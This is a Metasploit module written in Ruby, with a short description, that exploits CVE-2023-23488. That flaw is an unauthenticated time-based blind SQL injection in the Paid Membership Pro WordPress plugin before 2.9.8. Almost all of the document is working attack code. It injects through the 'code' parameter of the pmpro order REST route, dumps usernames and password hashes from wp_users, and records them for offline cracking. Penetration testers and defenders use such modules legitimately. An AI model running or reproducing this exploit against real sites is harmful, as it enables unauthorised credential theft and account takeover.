Paid Membership Pro, a WordPress plugin, prior to 2.9.8 is affected by an unauthenticated SQL injection via the code parameter. Remote attackers can exploit this vulnerability to dump usernames and password hashes from the wp_users table of the affected WordPress installation. These password hashes can then be cracked offline using tools such as Hashcat to obtain valid login credentials for the affected WordPress installation.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
include Msf::Exploit::SQLi
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress Paid Membership Pro code Unauthenticated SQLi',
'Description' => %q{
Paid Membership Pro, a WordPress plugin,
prior to 2.9.8 is affected by an unauthenticated SQL injection via the
`code` parameter.
Remote attackers can exploit this vulnerability to dump usernames and password hashes
from the `wp_users` table of the affected WordPress installation. These password hashes
can then be cracked offline using tools such as Hashcat to obtain valid login
credentials for the affected WordPress installation.
},
'Author' => [
'h00die', # msf module
'Joshua Martinelle', # Original bug discovery and writeup
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-23488'],
['URL', 'https://www.tenable.com/security/research/tra-2023-2'],
],
'Actions' => [
['List Users', { 'Description' => 'Queries username, password hash for USER_COUNT users' }]
],
'DefaultAction' => 'List Users',
'DisclosureDate' => '2023-01-12',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options [
OptInt.new('USER_COUNT', [true, 'Number of user credentials to enumerate', 3])
]
end
def check_host(_ip)
unless wordpress_and_online?
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
end
checkcode = check_plugin_version_from_readme('paid-memberships-pro', '2.9.8')
if checkcode == Msf::Exploit::CheckCode::Safe
return Msf::Exploit::CheckCode::Safe('Paid Membership Pro version not vulnerable')
end
checkcode
end
def run_host(ip)
id = Rex::Text.rand_text_numeric(1..10)
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload|
res = send_request_cgi({
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'rest_route' => '/pmpro/v1/order',
'code' => "#{id}' OR (select 1 from (select(#{payload}))a)-- -"
}
})
fail_with(Failure::Unreachable, 'Connection failed') unless res
end
unless @sqli.test_vulnerable
print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")
return
end
columns = ['user_login', 'user_pass']
print_status('Enumerating Usernames and Password Hashes')
print_warning('Each user will take about 5-10 minutes to enumerate. Be patient.')
data = @sqli.dump_table_fields('wp_users', columns, '', datastore['USER_COUNT'])
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
data.each do |user|
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: user[0],
private_type: :nonreplayable_hash,
jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]),
private_data: user[1],
service_name: 'Wordpress',
address: ip,
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
table << user
end
print_good('Dumped table contents:')
print_line(table.to_s)
end
end